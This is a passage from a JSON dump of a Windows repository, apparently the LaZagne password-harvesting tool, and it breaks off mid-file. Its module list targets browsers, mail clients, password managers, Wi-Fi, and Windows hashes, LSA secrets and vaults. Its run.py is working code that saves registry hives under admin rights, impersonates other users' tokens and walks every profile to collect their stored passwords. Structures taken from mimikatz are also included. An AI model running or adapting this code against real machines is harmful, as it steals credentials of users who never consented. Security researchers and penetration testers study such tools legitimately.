    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport re\nimport struct\n\ndef re_to_unicode(s):\n    newstring = ''\n    for c in s:\n        newstring += re.escape(c) + '\\\\x00'\n\n    return newstring\n\n\ndef type_unpack(type):\n    \"\"\" return the struct and the len of a particular type \"\"\"\n    type = type.lower()\n    s = None\n    l = None\n    if type == 'short':\n        s = 'h'\n        l = 2\n    elif type == 'ushort':\n        s = 'H'\n        l = 2\n    elif type == 'int':\n        s = 'i'\n        l = 4\n    elif type == 'uint':\n        s = 'I'\n        l = 4\n    elif type == 'long':\n        s = 'l'\n        l = 4\n    elif type == 'ulong':\n        s = 'L'\n        l = 4\n    elif type == 'float':\n        s = 'f'\n        l = 4\n    elif type == 'double':\n        s = 'd'\n        l = 8\n    else:\n        raise TypeError('Unknown type %s' % type)\n    return ('<' + s, l)\n\n\ndef hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):\n    \"\"\"\n    function originally from pydbg, modified to display other types\n    \"\"\"\n    dump = prefix\n    slice = ''\n    if ftype != 'bytes':\n        structtype, structlen = type_unpack(ftype)\n        for i in range(0, len(data), structlen):\n            if addr % 16 == 0:\n                dump += ' '\n                for char in slice:\n                    if ord(char) >= 32 and ord(char) <= 126:\n                        dump += char\n                    else:\n                        dump += '.'\n\n                dump += '\\n%s%08X: ' % (prefix, addr)\n                slice = ''\n            tmpval = 'NaN'\n            try:\n                packedval = data[i:i + structlen]\n                tmpval = struct.unpack(structtype, packedval)[0]\n            except Exception as e:\n                print(e)\n\n            if tmpval == 'NaN':\n                dump += '{:<15} '.format(tmpval)\n            elif ftype == 'float':\n                dump += '{:<15.4f} '.format(tmpval)\n            else:\n                dump += '{:<15} '.format(tmpval)\n            addr += structlen\n\n    else:\n        for byte in data:\n            if addr % 16 == 0:\n                dump += ' '\n                for char in slice:\n                    if ord(char) >= 32 and ord(char) <= 126:\n                        dump += char\n                    else:\n                        dump += '.'\n\n                dump += '\\n%s%08X: ' % (prefix, addr)\n                slice = ''\n            dump += '%02X ' % byte\n            slice += chr(byte)\n            addr += 1\n\n    remainder = addr % 16\n    if remainder != 0:\n        dump += '   ' * (16 - remainder) + ' '\n    for char in slice:\n        if ord(char) >= 32 and ord(char) <= 126:\n            dump += char\n        else:\n            dump += '.'\n\n    return dump + '\\n'\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/version.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nversion=(1,7)\nversion_string=\"%s.%s\"%version\n\n"
  },
  {
    "path": "Windows/lazagne/config/lib/memorpy/wintools.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom ctypes import windll\nimport time\n\ndef start_winforeground_daemon():\n\timport threading\n\tt=threading.Thread(target=window_foreground_loop)\n\tt.daemon=True\n\tt.start()\n\ndef window_foreground_loop(timeout=20):\n\t\"\"\" set the windows python console to the foreground (for example when you are working with a fullscreen program) \"\"\"\n\thwnd = windll.kernel32.GetConsoleWindow()\n\tHWND_TOPMOST \t= -1 \n\tSWP_NOMOVE \t\t= 2\n\tSWP_NOSIZE \t\t= 1\n\twhile True:\n\t\twindll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)\n\t\ttime.sleep(timeout)\n\t"
  },
  {
    "path": "Windows/lazagne/config/manage_modules.py",
    "content": "# Browsers\r\nfrom lazagne.config.soft_import_module import soft_import\r\nfrom lazagne.softwares.browsers.chromium_browsers import chromium_browsers\r\nfrom lazagne.softwares.browsers.firefox_browsers import firefox_browsers\r\n\r\n# mails\r\nfrom lazagne.softwares.mails.thunderbird_mails import thunderbird_mails\r\n\r\n\r\ndef get_modules_names():\r\n    return [\r\n        (\"lazagne.softwares.browsers.ie\", \"IE\"),\r\n        (\"lazagne.softwares.browsers.ucbrowser\", \"UCBrowser\"),\r\n# Chats\r\n        (\"lazagne.softwares.chats.pidgin\", \"Pidgin\"),\r\n        (\"lazagne.softwares.chats.psi\", \"PSI\"),\r\n        (\"lazagne.softwares.chats.skype\", \"Skype\"),\r\n# Databases\r\n        (\"lazagne.softwares.databases.dbvis\", \"Dbvisualizer\"),\r\n        (\"lazagne.softwares.databases.postgresql\", \"PostgreSQL\"),\r\n        (\"lazagne.softwares.databases.robomongo\", \"Robomongo\"),\r\n        (\"lazagne.softwares.databases.sqldeveloper\", \"SQLDeveloper\"),\r\n        (\"lazagne.softwares.databases.squirrel\", \"Squirrel\"),\r\n# Games\r\n        (\"lazagne.softwares.games.galconfusion\", \"GalconFusion\"),\r\n        (\"lazagne.softwares.games.kalypsomedia\", \"KalypsoMedia\"),\r\n        (\"lazagne.softwares.games.roguestale\", \"RoguesTale\"),\r\n        (\"lazagne.softwares.games.turba\", \"Turba\"),\r\n# Git\r\n        (\"lazagne.softwares.git.gitforwindows\", \"GitForWindows\"),\r\n# Mails\r\n        (\"lazagne.softwares.mails.outlook\", \"Outlook\"),\r\n# Maven\r\n        (\"lazagne.softwares.maven.mavenrepositories\", \"MavenRepositories\"),\r\n# Memory\r\n        (\"lazagne.softwares.memory.keepass\", \"Keepass\"),\r\n        (\"lazagne.softwares.memory.memorydump\", \"MemoryDump\"),\r\n        (\"lazagne.softwares.memory.onepassword\", \"OnePassword\"),\r\n# Multimedia\r\n        (\"lazagne.softwares.multimedia.eyecon\", \"EyeCON\"),\r\n# Php\r\n        (\"lazagne.softwares.php.composer\", \"Composer\"),\r\n# Svn\r\n        (\"lazagne.softwares.svn.tortoise\", \"Tortoise\"),\r\n# Sysadmin\r\n        (\"lazagne.softwares.sysadmin.apachedirectorystudio\", \"ApacheDirectoryStudio\"),\r\n        (\"lazagne.softwares.sysadmin.coreftp\", \"CoreFTP\"),\r\n        (\"lazagne.softwares.sysadmin.cyberduck\", \"Cyberduck\"),\r\n        (\"lazagne.softwares.sysadmin.filezilla\", \"Filezilla\"),\r\n        (\"lazagne.softwares.sysadmin.filezillaserver\", \"FilezillaServer\"),\r\n        (\"lazagne.softwares.sysadmin.ftpnavigator\", \"FtpNavigator\"),\r\n        (\"lazagne.softwares.sysadmin.opensshforwindows\", \"OpenSSHForWindows\"),\r\n        (\"lazagne.softwares.sysadmin.openvpn\", \"OpenVPN\"),\r\n        (\"lazagne.softwares.sysadmin.iiscentralcertp\", \"IISCentralCertP\"),\r\n        (\"lazagne.softwares.sysadmin.keepassconfig\", \"KeePassConfig\"),\r\n        (\"lazagne.softwares.sysadmin.iisapppool\", \"IISAppPool\"),\r\n        (\"lazagne.softwares.sysadmin.puttycm\", \"Puttycm\"),\r\n        (\"lazagne.softwares.sysadmin.rclone\", \"Rclone\"),\r\n        (\"lazagne.softwares.sysadmin.rdpmanager\", \"RDPManager\"),\r\n        (\"lazagne.softwares.sysadmin.unattended\", \"Unattended\"),\r\n        (\"lazagne.softwares.sysadmin.vnc\", \"Vnc\"),\r\n        (\"lazagne.softwares.sysadmin.winscp\", \"WinSCP\"),\r\n        (\"lazagne.softwares.sysadmin.wsl\", \"Wsl\"),\r\n        (\"lazagne.softwares.sysadmin.mRemoteNG\", \"mRemoteNG\"),\r\n# Wifi\r\n        (\"lazagne.softwares.wifi.wifi\", \"Wifi\"),\r\n# Windows\r\n        (\"lazagne.softwares.windows.autologon\", \"Autologon\"),\r\n        (\"lazagne.softwares.windows.cachedump\", \"Cachedump\"),\r\n        (\"lazagne.softwares.windows.credman\", \"Credman\"),\r\n        (\"lazagne.softwares.windows.credfiles\", \"CredFiles\"),\r\n        (\"lazagne.softwares.windows.hashdump\", \"Hashdump\"),\r\n        (\"lazagne.softwares.windows.ppypykatz\", \"Pypykatz\"),\r\n        (\"lazagne.softwares.windows.lsa_secrets\", \"LSASecrets\"),\r\n        (\"lazagne.softwares.windows.vault\", \"Vault\"),\r\n        (\"lazagne.softwares.windows.vaultfiles\", \"VaultFiles\"),\r\n        (\"lazagne.softwares.windows.windows\", \"WindowsPassword\")\r\n    ]\r\n\r\n\r\ndef get_categories():\r\n    category = {\r\n        'browsers': {'help': 'Web browsers supported'},\r\n        'chats': {'help': 'Chat clients supported'},\r\n        'databases': {'help': 'SQL/NoSQL clients supported'},\r\n        'games': {'help': 'Games etc.'},\r\n        'git': {'help': 'GIT clients supported'},\r\n        'mails': {'help': 'Email clients supported'},\r\n        'maven': {'help': 'Maven java build tool'},\r\n        'memory': {'help': 'Retrieve passwords from memory'},\r\n        'multimedia': {'help': 'Multimedia applications, etc'},\r\n        'php': {'help': 'PHP build tool'},\r\n        'svn': {'help': 'SVN clients supported'},\r\n        'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},\r\n        'windows': {'help': 'Windows credentials (credential manager, etc.)'},\r\n        'wifi': {'help': 'Wifi'},\r\n        'unused': {'help': 'This modules could not be used because of broken dependence'}\r\n    }\r\n    return category\r\n\r\n\r\n\r\n\r\ndef get_modules():\r\n    modules = [soft_import(package_name, module_name)() for package_name, module_name in get_modules_names()]\r\n    return modules + chromium_browsers + firefox_browsers + thunderbird_mails\r\n"
  },
  {
    "path": "Windows/lazagne/config/module_info.py",
    "content": "\"\"\"\r\nname => Name of a class\r\ncategory => windows / browsers / etc\r\noptions => dictionary\r\n - command\r\n - action\r\n - dest\r\n - help\r\n\r\nex: ('-s', action='store_true', dest='skype', help='skype')\r\n- options['command'] = '-s'\r\n- options['action'] = 'store_true'\r\n- options['dest'] = 'skype'\r\n- options['help'] = 'skype'\r\n\"\"\"\r\n\r\nfrom lazagne.config.write_output import print_debug\r\n\r\n\r\nclass ModuleInfo(object):\r\n\r\n    def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False,\r\n                 system_module=False, dpapi_used=False, only_from_current_user=False):\r\n        self.name = name\r\n        self.category = category\r\n        self.options = {\r\n            'command': '-{name}'.format(name=self.name),\r\n            'action': 'store_true',\r\n            'dest': self.name,\r\n            'help': '{name} passwords'.format(name=self.name)\r\n        }\r\n        self.suboptions = suboptions\r\n        self.registry_used = registry_used\r\n        self.system_module = system_module\r\n        self.winapi_used = winapi_used\r\n        self.dpapi_used = dpapi_used\r\n        self.only_from_current_user = only_from_current_user\r\n\r\n    def error(self, message):\r\n        print_debug('ERROR', message)\r\n\r\n    def info(self, message):\r\n        print_debug('INFO', message)\r\n\r\n    def debug(self, message):\r\n        print_debug('DEBUG', message)\r\n\r\n    def warning(self, message):\r\n        print_debug('WARNING', message)"
  },
  {
    "path": "Windows/lazagne/config/run.py",
    "content": "# -*- coding: utf-8 -*-\n# !/usr/bin/python\nimport ctypes\nimport logging\nimport sys\nimport traceback\n\nfrom lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle\nfrom lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi\nfrom lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved\nfrom lazagne.config.execute_cmd import save_hives, delete_hives\nfrom lazagne.config.write_output import print_debug, StandardOutput\nfrom lazagne.config.constant import constant\nfrom lazagne.config.manage_modules import get_categories, get_modules\n\n# Useful for the Pupy project\n# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object\nsys.setrecursionlimit(10000)\n\n\ndef create_module_dic():\n    if constant.modules_dic:\n        return constant.modules_dic\n    \n    modules = {}\n\n    # Define a dictionary for all modules\n    for category in get_categories():\n        modules[category] = {}\n\n    # Add all modules to the dictionary\n    for m in get_modules():\n        modules[m.category][m.options['dest']] = m\n\n    constant.modules_dic = modules\n    return modules\n\n\ndef run_module(title, module):\n    \"\"\"\n    Run only one module\n    \"\"\"\n    try:\n        constant.st.title_info(title.capitalize())  # print title\n        pwd_found = module.run()  # run the module\n        constant.st.print_output(title.capitalize(), pwd_found)  # print the results\n\n        # Return value - not used but needed\n        yield True, title.capitalize(), pwd_found\n    except Exception:\n        error_message = traceback.format_exc()\n        print_debug('DEBUG', error_message)\n        yield False, title.capitalize(), error_message\n\n\ndef run_modules(module, subcategories={}, system_module=False):\n    \"\"\"\n    Run modules inside a category (could be one or multiple modules)\n    \"\"\"\n    modules_to_launch = []\n    \n    # Launch only a specific module\n    for i in subcategories:\n        if subcategories[i] and i in module:\n            modules_to_launch.append(i)\n\n    # Launch all modules\n    if not modules_to_launch:\n        modules_to_launch = module\n\n    for i in modules_to_launch:\n        # Only current user could access to HKCU registry or use some API that only can be run from the user environment\n        if not constant.is_current_user:\n            if module[i].registry_used or module[i].only_from_current_user:\n                continue\n\n        if system_module ^ module[i].system_module:\n            continue\n\n        if module[i].winapi_used:\n            constant.module_to_exec_at_end['winapi'].append({\n                'title': i,\n                'module': module[i],\n            })\n            continue\n\n        if module[i].dpapi_used:\n            constant.module_to_exec_at_end['dpapi'].append({\n                'title': i,\n                'module': module[i],\n            })\n            continue\n\n        # Run module\n        for m in run_module(title=i, module=module[i]):\n            yield m\n\n\ndef run_category(category_selected, subcategories={}, system_module=False):\n    constant.module_to_exec_at_end = {\n        \"winapi\": [],\n        \"dpapi\": [],\n    }\n    modules = create_module_dic()\n    categories = [category_selected] if category_selected != 'all' else get_categories()\n    for category in categories:\n        for r in run_modules(modules[category], subcategories, system_module):\n            yield r\n\n    if not system_module:\n        if constant.is_current_user:\n            # Modules using Windows API (CryptUnprotectData) can be called from the current session\n            for module in constant.module_to_exec_at_end.get('winapi', []):\n                for m in run_module(title=module['title'], module=module['module']):\n                    yield m\n\n            if constant.module_to_exec_at_end.get('dpapi', []):\n                if are_masterkeys_retrieved():\n                    for module in constant.module_to_exec_at_end.get('dpapi', []):\n                        for m in run_module(title=module['title'], module=module['module']):\n                            yield m\n        else:\n            if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):\n                if are_masterkeys_retrieved():\n                    # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData\n                    for i in ['winapi', 'dpapi']:\n                        for module in constant.module_to_exec_at_end.get(i, []):\n                            for m in run_module(title=module['title'], module=module['module']):\n                                yield m\n\n\ndef run_lazagne(category_selected='all', subcategories={}, password=None):\n    \"\"\"\n    Execution Workflow:\n    - If admin:\n        - Execute system modules to retrieve LSA Secrets and user passwords if possible\n            - These secret could be useful for further decryption (e.g Wifi)\n        - If a process of another user is launched try to impersone it (impersonating his token)\n            - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques \n    - From our user:\n        - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)\n        - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)\n        - If the user password or the dpapi hash is found:\n            - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)\n    - From all users found on the filesystem (e.g C:\\\\Users) - Need admin privilege:\n        - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)\n        - If the user password or the dpapi hash is found:\n            - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)\n\n    To resume:\n    - Some passwords (e.g Firefox) could be retrieved from any other user\n    - CryptUnprotectData can be called only from our current session\n    - DPAPI Blob can decrypted only if we have the password or the hash of the user\n    \"\"\"\n\n    # Useful if this function is called from another tool\n    if password:\n        constant.user_password = password\n\n    if not constant.st:\n        constant.st = StandardOutput()\n\n    # --------- Execute System modules ---------\n    if ctypes.windll.shell32.IsUserAnAdmin() != 0:\n        if save_hives():\n            # System modules (hashdump, lsa secrets, etc.)\n            constant.username = 'SYSTEM'\n            constant.finalResults = {'User': constant.username}\n            constant.system_dpapi = SystemDpapi()\n\n            if logging.getLogger().isEnabledFor(logging.INFO):\n                constant.st.print_user(constant.username)\n            yield 'User', constant.username\n\n            try:\n                for r in run_category(category_selected, subcategories, system_module=True):\n                    yield r\n            except:  # Catch all kind of exceptions\n                pass\n            finally:\n                delete_hives()\n\n            constant.stdout_result.append(constant.finalResults)\n\n    # ------ Part used for user impersonation ------\n\n    constant.is_current_user = True\n    constant.username = get_username_winapi()\n    if not constant.username.endswith('$'):\n        \n        constant.finalResults = {'User': constant.username}\n        constant.st.print_user(constant.username)\n        yield 'User', constant.username\n\n        set_env_variables(user=constant.username)\n\n        for r in run_category(category_selected, subcategories):\n            yield r\n        constant.stdout_result.append(constant.finalResults)\n    \n    # Check if admin to impersonate\n    if ctypes.windll.shell32.IsUserAnAdmin() != 0:\n\n        # --------- Impersonation using tokens ---------\n\n        sids = list_sids()\n        impersonate_users = {}\n        impersonated_user = [constant.username]\n\n        for sid in sids:\n            # Not save the current user's SIDs and not impersonate system user\n            if constant.username != sid[3] and sid[2] != 'S-1-5-18':\n                impersonate_users.setdefault(sid[3], []).append(sid[2])\n\n        for user in impersonate_users:\n            if 'service' in user.lower().strip():\n                continue\n\n            # Do not impersonate the same user twice\n            if user in impersonated_user:\n                continue\n\n            constant.st.print_user(user)\n            yield 'User', user\n\n            constant.finalResults = {'User': user}\n            for sid in impersonate_users[user]:\n                try:\n                    set_env_variables(user, to_impersonate=True)\n                    if impersonate_sid_long_handle(sid, close=False):\n                        impersonated_user.append(user)\n\n                        # Launch module wanted\n                        for r in run_category(category_selected, subcategories):\n                            yield r\n\n                        rev2self()\n                        constant.stdout_result.append(constant.finalResults)\n                        break\n                except Exception:\n                    print_debug('DEBUG', traceback.format_exc())\n\n        # --------- Impersonation browsing file system ---------\n\n        constant.is_current_user = False\n        # Ready to check for all users remaining\n        all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])\n        for user in all_users:\n            # Fix value by default for user environment (APPDATA and USERPROFILE)\n            set_env_variables(user, to_impersonate=True)\n            constant.st.print_user(user)\n\n            constant.username = user\n            constant.finalResults = {'User': user}\n            yield 'User', user\n\n            # Retrieve passwords that need high privileges\n            for r in run_category(category_selected, subcategories):\n                yield r\n\n            constant.stdout_result.append(constant.finalResults)\n"
  },
  {
    "path": "Windows/lazagne/config/soft_import_module.py",
    "content": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom importlib import import_module\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\n\r\n\r\ndef soft_import(package_name, module_name):\r\n    \"\"\" Imports module or return mock object which only print error\r\n    \"\"\"\r\n    try:\r\n        module = import_module(package_name)\r\n        return getattr(module, module_name)\r\n    except ImportError as ex:\r\n\r\n        #  Emulate import ModuleInfo: return object (function) which generates objects of type ModuleInfo\r\n        #  This could be done with metaclasses, but now let's just keep it simple.\r\n        def get_import_error_mock(module_name, exception):\r\n            return lambda *args, **kwargs: _MOCK_ImportErrorInModule(module_name, exception)\r\n\r\n        return get_import_error_mock(module_name, ex)\r\n\r\n\r\nclass _MOCK_ImportErrorInModule(ModuleInfo):\r\n\r\n    def __init__(self, name, exception):\r\n        super(_MOCK_ImportErrorInModule, self).__init__(name, \"unused\")\r\n        self.__message_to_print = \"Module %s is not used due to unresolved dependence:\\r\\n%s\" % (name, str(exception))\r\n\r\n    def run(self):\r\n        self.error(self.__message_to_print)\r\n"
  },
  {
    "path": "Windows/lazagne/config/users.py",
    "content": "# -*- coding: utf-8 -*-\n# !/usr/bin/python\nimport os\nimport ctypes\nimport sys\n\nfrom lazagne.config.winstructure import get_os_version\nfrom lazagne.config.constant import constant\n\n\ndef get_user_list_on_filesystem(impersonated_user=[]):\n    \"\"\"\n    Get user list to retrieve  their passwords\n    \"\"\"\n    # Check users existing on the system (get only directories)\n    user_path = u'{drive}:\\\\Users'.format(drive=constant.drive)\n    if float(get_os_version()) < 6:\n        user_path = u'{drive}:\\\\Documents and Settings'.format(drive=constant.drive)\n\n    all_users = []\n    if os.path.exists(user_path):\n        all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))]\n\n        # Remove default users\n        for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']:\n            if user in all_users:\n                all_users.remove(user)\n\n        # Removing user that have already been impersonated\n        for imper_user in impersonated_user:\n            if imper_user in all_users:\n                all_users.remove(imper_user)\n\n    return all_users\n\n\ndef set_env_variables(user, to_impersonate=False):\n    # Restore template path\n    template_path = {\n        'APPDATA': u'{drive}:\\\\Users\\\\{user}\\\\AppData\\\\Roaming\\\\',\n        'USERPROFILE': u'{drive}:\\\\Users\\\\{user}\\\\',\n        'HOMEDRIVE': u'{drive}:',\n        'HOMEPATH': u'{drive}:\\\\Users\\\\{user}',\n        'ALLUSERSPROFILE': u'{drive}:\\\\ProgramData',\n        'COMPOSER_HOME': u'{drive}:\\\\Users\\\\{user}\\\\AppData\\\\Roaming\\\\Composer\\\\',\n        'LOCALAPPDATA': u'{drive}:\\\\Users\\\\{user}\\\\AppData\\\\Local',\n    }\n\n    constant.profile = template_path\n    if not to_impersonate:\n        # Get value from environment variables\n        for env in constant.profile:\n            if os.environ.get(env):\n                try:\n                    constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding())\n                except Exception:\n                    constant.profile[env] = os.environ.get(env)\n\n    # Replace \"drive\" and \"user\" with the correct values\n    for env in constant.profile:\n        constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user)\n\n\ndef get_username_winapi():\n    GetUserNameW = ctypes.windll.advapi32.GetUserNameW\n    GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)]\n    GetUserNameW.restype = ctypes.c_uint\n\n    _buffer = ctypes.create_unicode_buffer(1)\n    size = ctypes.c_uint(len(_buffer))\n    while not GetUserNameW(_buffer, ctypes.byref(size)):\n        # WinError.h\n        # define ERROR_INSUFFICIENT_BUFFER        122L    // dderror\n        if ctypes.GetLastError() == 122:\n            _buffer = ctypes.create_unicode_buffer(len(_buffer)*2)\n            size.value = len(_buffer)\n        \n        else:\n            return os.getenv('username') # Unusual error\n\n    return _buffer.value\n"
  },
  {
    "path": "Windows/lazagne/config/winstructure.py",
    "content": "# Vault Structure has been taken from mimikatz\r\nfrom ctypes.wintypes import *\r\nfrom ctypes import *\r\n\r\nimport sys\r\nimport os\r\n\r\ntry:\r\n    import _winreg as winreg\r\nexcept ImportError:\r\n    import winreg\r\n\r\nLPTSTR = LPSTR\r\nLPCTSTR = LPSTR\r\nPHANDLE = POINTER(HANDLE)\r\nHANDLE = LPVOID\r\nLPDWORD = POINTER(DWORD)\r\nPVOID = c_void_p\r\nINVALID_HANDLE_VALUE = c_void_p(-1).value\r\nNTSTATUS = ULONG()\r\nPWSTR = c_wchar_p\r\nLPWSTR = c_wchar_p\r\nPBYTE = POINTER(BYTE)\r\nLPBYTE = POINTER(BYTE)\r\nPSID = PVOID\r\nLONG = c_long\r\nWORD = c_uint16\r\n\r\n# #############################- Constants ##############################\r\n\r\n# Credential Manager\r\nCRYPTPROTECT_UI_FORBIDDEN = 0x01\r\nCRED_TYPE_GENERIC = 0x1\r\nCRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4\r\n\r\n# Regedit\r\nHKEY_CURRENT_USER = -2147483647\r\nHKEY_LOCAL_MACHINE = -2147483646\r\nKEY_READ = 131097\r\nKEY_ENUMERATE_SUB_KEYS = 8\r\nKEY_QUERY_VALUE = 1\r\n\r\n# custom key to read registry (not from msdn)\r\nACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE\r\n\r\n# Token manipulation\r\nPROCESS_QUERY_INFORMATION = 0x0400\r\nSTANDARD_RIGHTS_REQUIRED = 0x000F0000\r\nREAD_CONTROL = 0x00020000\r\nSTANDARD_RIGHTS_READ = READ_CONTROL\r\nTOKEN_ASSIGN_PRIMARY = 0x0001\r\nTOKEN_DUPLICATE = 0x0002\r\nTOKEN_IMPERSONATE = 0x0004\r\nTOKEN_QUERY = 0x0008\r\nTOKEN_QUERY_SOURCE = 0x0010\r\nTOKEN_ADJUST_PRIVILEGES = 0x0020\r\nTOKEN_ADJUST_GROUPS = 0x0040\r\nTOKEN_ADJUST_DEFAULT = 0x0080\r\nTOKEN_ADJUST_SESSIONID = 0x0100\r\nTOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)\r\ntokenprivs = (\r\n            TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (\r\n                131072 | 4))\r\nTOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\r\n                    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\r\n                    TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\r\n                    TOKEN_ADJUST_SESSIONID)\r\n\r\nSE_DEBUG_PRIVILEGE = 20\r\n\r\n\r\n# ############################# Structures ##############################\r\n\r\nclass CREDENTIAL_ATTRIBUTE(Structure):\r\n    _fields_ = [\r\n        ('Keyword', LPSTR),\r\n        ('Flags', DWORD),\r\n        ('ValueSize', DWORD),\r\n        ('Value', LPBYTE)\r\n    ]\r\n\r\n\r\nPCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)\r\n\r\n\r\nclass CREDENTIAL(Structure):\r\n    _fields_ = [\r\n        ('Flags', DWORD),\r\n        ('Type', DWORD),\r\n        ('TargetName', LPSTR),\r\n        ('Comment', LPSTR),\r\n        ('LastWritten', FILETIME),\r\n        ('CredentialBlobSize', DWORD),\r\n        # ('CredentialBlob', POINTER(BYTE)),\r\n        ('CredentialBlob', POINTER(c_char)),\r\n        ('Persist', DWORD),\r\n        ('AttributeCount', DWORD),\r\n        ('Attributes', PCREDENTIAL_ATTRIBUTE),\r\n        ('TargetAlias', LPSTR),\r\n        ('UserName', LPSTR)\r\n    ]\r\n\r\n\r\nPCREDENTIAL = POINTER(CREDENTIAL)\r\n\r\n\r\nclass DATA_BLOB(Structure):\r\n    _fields_ = [\r\n        ('cbData', DWORD),\r\n        ('pbData', POINTER(c_char))\r\n    ]\r\n\r\n\r\nclass GUID(Structure):\r\n    _fields_ = [\r\n        (\"data1\", DWORD),\r\n        (\"data2\", WORD),\r\n        (\"data3\", WORD),\r\n        (\"data4\", BYTE * 6)\r\n    ]\r\n\r\n\r\nLPGUID = POINTER(GUID)\r\n\r\n\r\nclass VAULT_CREDENTIAL_ATTRIBUTEW(Structure):\r\n    _fields_ = [\r\n        ('keyword', LPWSTR),\r\n        ('flags', DWORD),\r\n        ('badAlign', DWORD),\r\n        ('valueSize', DWORD),\r\n        ('value', LPBYTE),\r\n    ]\r\n\r\n\r\nPVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)\r\n\r\n\r\nclass VAULT_BYTE_BUFFER(Structure):\r\n    _fields_ = [\r\n        ('length', DWORD),\r\n        ('value', PBYTE),\r\n    ]\r\n\r\n\r\nclass DATA(Structure):\r\n    _fields_ = [\r\n        # ('boolean',       BOOL),\r\n        # ('short',             SHORT),\r\n        # ('unsignedShort',     WORD),\r\n        # ('int',           LONG),\r\n        # ('unsignedInt',   ULONG),\r\n        # ('double',            DOUBLE),\r\n        ('guid', GUID),\r\n        ('string', LPWSTR),\r\n        ('byteArray', VAULT_BYTE_BUFFER),\r\n        ('protectedArray', VAULT_BYTE_BUFFER),\r\n        ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW),\r\n        # ('Sid',           PSID)\r\n        ('sid', DWORD)\r\n    ]\r\n\r\n\r\nclass Flag(Structure):\r\n    _fields_ = [\r\n        ('0x00', DWORD),\r\n        ('0x01', DWORD),\r\n        ('0x02', DWORD),\r\n        ('0x03', DWORD),\r\n        ('0x04', DWORD),\r\n        ('0x05', DWORD),\r\n        ('0x06', DWORD),\r\n        ('0x07', DWORD),\r\n        ('0x08', DWORD),\r\n        ('0x09', DWORD),\r\n        ('0x0a', DWORD),\r\n        ('0x0b', DWORD),\r\n        ('0x0c', DWORD),\r\n        ('0x0d', DWORD)\r\n    ]\r\n\r\n\r\nclass VAULT_ITEM_DATA(Structure):\r\n    _fields_ = [\r\n        # ('schemaElementId',   DWORD),\r\n        # ('unk0',              DWORD),\r\n        # ('Type',              DWORD),\r\n        # ('unk1',              DWORD),\r\n        ('data', DATA),\r\n    ]\r\n\r\n\r\nPVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)\r\n\r\n\r\n# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L157\r\nclass VAULT_ITEM_WIN8(Structure):\r\n    _fields_ = [\r\n        ('id', GUID),\r\n        ('pName', PWSTR),\r\n        ('pResource', PVAULT_ITEM_DATA),\r\n        ('pUsername', PVAULT_ITEM_DATA),\r\n        ('pPassword', PVAULT_ITEM_DATA),\r\n        ('pPackageSid', PVAULT_ITEM_DATA),\r\n        ('LastWritten', 